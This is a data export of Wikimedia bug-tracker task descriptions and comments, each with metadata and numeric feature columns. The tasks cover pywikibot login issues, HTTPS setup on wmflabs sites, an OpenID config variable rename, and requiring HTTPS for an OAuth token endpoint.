+411784,force login after performing a sysop action,Was this your ticket @nullzero?,,,1423974378,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0
+264953,force login after performing a sysop action,"I'm also have similar problem.
+
+After updating pywikibot framework, forcing login is somewhat strange.
+
+When bot name differ by project \(E.g, different name for local wiki and meta/commons wiki\), login is requested for local bot name in meta wiki.
+
+\------------------------------------------------------------------------
+Pywikibot \[http\] branches/rewrite \(r11617, 2013/06/02, 13:07:05, OUTDATED\)
+Python 2.6.5 \(r265:79063, Oct  1 2012, 22:04:36\)
+\[GCC 4.4.3\]
+unicode test: ok",,,1380947468,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+56710,Fix HTTPS redirect for icinga.wmflabs.org,"**Author:** `metatron`
+
+**Description:**
+HTTPS on both wmflabs-sites not possible:
+http://icinga.wmflabs.org/icinga/
+http://ganglia.wmflabs.org/latest/
+
+On wikimedia-sites it works fine
+https://icinga.wikimedia.org/icinga/
+https://ganglia.wikimedia.org/latest/
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1380297180,1419723474.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-TASK-xzc5j7guth2pi6tihr6u,task_description,declined,True,c3,1,False,False,True,-92,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+393273,Fix HTTPS redirect for icinga.wmflabs.org,"closing:
+>>! In T85318#944034, yuvipanda wrote:
+> Neither icinga nor ganglia will be used in labs anymore.
+> [...]",,,1419723474,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-27,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+264697,Fix HTTPS redirect for icinga.wmflabs.org,"ganglia is out of game, updating title that redirect seems to misbehave (for me for firefox and opera)",,,1413464246,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+264692,Fix HTTPS redirect for icinga.wmflabs.org,"current status:
+https://icinga.wmflabs.org/
+https://ganglia.wmflabs.org/
+basically seems to work from ssl view
+but both switch to HTTP while redirecting to the correct entry point",,,1396637458,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-65,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+264688,Fix HTTPS redirect for icinga.wmflabs.org,Insecure content warnings on https://integration.wikimedia.org/ for images from http://ganglia.wmflabs.org/l.,,,1391727042,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264681,Fix HTTPS redirect for icinga.wmflabs.org,Can we set this up via Yuvi's HTTPS proxy?,,,1391726910,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+264676,Fix HTTPS redirect for icinga.wmflabs.org,"seems fixed, except that ganglia ssl is blocked by bug 60865",,,1391593710,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+56541,"When loging in to a site, try the site-configured username if any","Originally from: http://sourceforge.net/p/pywikipediabot/patches/621/
+Reported by: gallaecio
+Created on: 2013-08-03 20:30:54.056000
+Subject: When loging in to a site, try the site-configured username if any
+Original description:
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/patches/621",Needs Triage,90.0,1380061200,1610726581.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-4ziao6as6e62byuywdss,task_description,invalid,True,c3,1,True,False,False,-93,True,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+1646921,"When loging in to a site, try the site-configured username if any","Closed as invalid. See example below
+```
+>>> import pywikibot
+>>> site = pywikibot.Site()
+>>> site
+APISite(""de"", ""wikipedia"")
+>>> site.username()
+'Xqtest'
+>>> site = pywikibot.Site('meta:meta')
+>>> site.username()
+'Xqtools'
+>>> 
+```",,,1610726581,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,3,True,,,289,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+892253,"When loging in to a site, try the site-configured username if any","What is the current behaviour? What username is used when pywikibot tries to log into a site? Can anyone provide a minimal example script to demonstrate the issue at hand?
+",,,1499833257,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,3,False,,,105,True,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0
+605017,"When loging in to a site, try the site-configured username if any","Change 176482 abandoned by Gallaecio:
+login: Use the site object's username if defined
+
+[[https://gerrit.wikimedia.org/r/176482]]",,,1454761787,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,3,False,,,31,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+334593,"When loging in to a site, try the site-configured username if any","Change 176482 had a related patch set uploaded (by John Vandenberg):
+login: Use the site object’s username if defined
+
+[[https://gerrit.wikimedia.org/r/176482]]
+
+#patch-for-review",,,1417374437,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,1,False,,,-31,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+254560,"When loging in to a site, try the site-configured username if any","The is an interesting approach which I am guessing solves part of the 'SUL' problem.
+
+Instead of having to add usernames['wikipedia']['*'] = '..'; usernames['wikisource']['*'] = '..'; to user-config.py etc etc for every family in the matrix of the global account.
+
+If a account is logged into it.wp using an entry in user-config.py, and the bot visits en.wikipedia, the bot *is* logged in, as they have a unified account, and the cookie logs them in, and api.py automatically populates userinfo with the username.
+
+That works wonderfully, and doesnt need this patch.
+
+I am guessing this patch is about when there is a 'problem' with the existing login, which might be because of site.py tripping over itself (the login code is a mess), or maybe the server asking the account to login again.
+
+If the password_file contains simple two-part matching entry for the username in siteinfo, the re-login will be automatic.  i.e. (bot_username, bot_password) ; not (family, username, password) or other options.
+
+I would like to hear more about how this patch helps, but it does appear useful in limited but crucial circumstances.",,,1411028272,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,1,True,,,-41,True,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+254556,"When loging in to a site, try the site-configured username if any",The patch does not appear to solve anything: site.userinfo holds information about the currently logged-in user.,,,1406115108,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,1,False,,,-50,True,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+254550,"When loging in to a site, try the site-configured username if any","[No attachment in Gerrit, hence resetting status and adding keyword. See https://bugzilla.wikimedia.org/describekeywords.cgi and https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle for more information.]",,,1385945717,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1
+254545,"When loging in to a site, try the site-configured username if any","Created attachment 13369
+Copy of attachment from http://sourceforge.net/p/pywikipediabot/patches/621/attachment/login-site-username.diff
+
+**Attached**: {F11875}",,,1380061240,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+56506,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"Grepping through the code shows no use of this variable outside of its declaration. It certainly doesn't remove the login link.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1380039540,1380787161.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-pg6hplevt4uggtbvxhs4,task_description,resolved,True,c3,1,True,False,True,-93,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+258234,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"http://www.mediawiki.org/wiki/Gerrit/Commit_message_guidelines :
+added there ""No text must follow the bugnumber. """,,,1380811269,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0
+258224,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"(In reply to comment #5)
+> solved with https://gerrit.wikimedia.org/r/#/c/87321/ (why is gerrit not
+> adding this information any more ?)
+
+Because you did not follow http://www.mediawiki.org/wiki/Gerrit/Commit_message_guidelines",,,1380810506,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,True,,,-91,True,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1
+258216,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,solved with https://gerrit.wikimedia.org/r/#/c/87321/ (why is gerrit not adding this information any more ?),,,1380787415,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,False,,,-91,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0
+258209,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"fixed, tested, merged, closed",,,1380787161,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+258199,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"The bug is still a bug, it's not invalid. If the name should be $wgHideOpenIDLoginLink, then that should be listed in OpenID.php and $wgOpenIDHideOpenIDLoginLink shouldn't be. And if the name should be $wgOpenIDHideOpenIDLoginLink, then $wgHideOpenIDLoginLink needs to be replaced in the code and the documentation.",,,1380208123,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+258193,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"Thanks for reporting.
+
+All OpenID parameter names should have the form $wgOpenID...... 
+
+It appears, that the renaming of this specific variable has been overlooked in the past. I will fix this begin of October.
+
+Sorry for the inconvenience.",,,1380173514,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,False,,,-92,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+258187,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,It looks like the name was changed to $wgHideOpenIDLoginLink. Setting $wgHideOpenIDLoginLink=true hides the link correctly. https://www.mediawiki.org/wiki/Extension:OpenID#Configuration references the correct name.,,,1380152673,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+56192,HTTPS for parsoid.wmflabs.org,"Please enable HTTPS on parsoid.wmflabs.org. Unsure if it needs it's own certificate or if there is one for *.wmflabs.org.
+
+It recently had CORS enabled so users can write custom scripts to access parsoid, however they'll face mixed content blocking issues since HTTPS doesn't work yet.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://parsoid.wmflabs.org",Needs Triage,90.0,1379372700,1379381762.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-vxs4woelidzvvd7myz2d,task_description,resolved,True,c3,1,True,False,True,-94,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+239598,HTTPS for parsoid.wmflabs.org,"As we have other ports in use (http://parsoid.wmflabs.org:8001/ for example) just changing the DNS does not work so well for us. Instead, we used iptables to DNAT port 443 to the proxy.",,,1379381752,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+239596,HTTPS for parsoid.wmflabs.org,Because parsoid needs more features than what labsproxy provides,,,1379375340,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0
+239593,HTTPS for parsoid.wmflabs.org,"https://parsoid.wmflabs.org/ exists now, thanks to the dynamic proxy :)",,,1379373679,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239589,HTTPS for parsoid.wmflabs.org,There's the dynamic labsproxy that does HTTPS (and there's a *.wmflabs.org certificate for it). I can setup the proxy for the guys if they want me to.,,,1379372969,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+56110,Force HTTPS for /token if the Consumer is not using an RSA key,"We currently don't require HTTPS for the consumer to get the authorization token. The auth token's secret is combined with the consumer's secret for an HMAC signature, so part of the signing key would be known to an attacker if they can sniff this traffic.
+
+rfc5849 - 2.3 says that:
+
+   Since the request results in the transmission of plain text
+   credentials in the HTTP response, the server MUST require the use of
+   a transport-layer mechanism such as TLS or SSL (or a secure channel
+   with equivalent protections).
+
+However, if the Consumer is using an RSA key, then the authorization token's secret isn't used, so the security isn't affected by not using SSL for the /token call.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1379118240,1380551043.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-eltc3unjgxsy26lpygu6,task_description,resolved,True,c3,1,True,False,True,-94,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+258987,Force HTTPS for /token if the Consumer is not using an RSA key,"Change 85218 merged by jenkins-bot:
+Use HTTPS for Special:MWOAuth/token
+
+https://gerrit.wikimedia.org/r/85218",,,1380396294,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+258984,Force HTTPS for /token if the Consumer is not using an RSA key,"Change 85218 had a related patch set uploaded by Anomie:
+Use HTTPS for Special:MWOAuth/token
+
+https://gerrit.wikimedia.org/r/85218",,,1379691008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+258980,Force HTTPS for /token if the Consumer is not using an RSA key,"(In reply to comment #0)
+> However, if the Consumer is using an RSA key, then the authorization token's
+> secret isn't used, so the security isn't affected by not using SSL for the
+> /token call.
+
+What about the token credentials returned in the response? Those are still plain text.",,,1379690874,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,1
+56065,Enable HTTPS on a Labs instance,"We switched to Labs hoping that it would bring us HTTPS, but apparently not.
+
+I created an instance with this enabled:
+- role::lamp::labs
+- certificates::star_wmflabs_org
+
+But Firefox says ""Unable to connect"": https://i-000008da.pmtpa-proxy.wmflabs.org
+
+Am I missing something? What should I do to allow visitors to connect via SSL?
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48501",Needs Triage,90.0,1378968900,1404230315.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-qa4qlq3om3eeq6hztvty,task_description,resolved,True,c3,1,False,False,True,-94,True,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0
+256232,Enable HTTPS on a Labs instance,"This has been fixed now. If you are using your own instance, use Special:NovaProxy on wikitech to create a https enabled proxy. If you're using toollabs, you already have https.",,,1404230315,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,True,,,-53,True,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
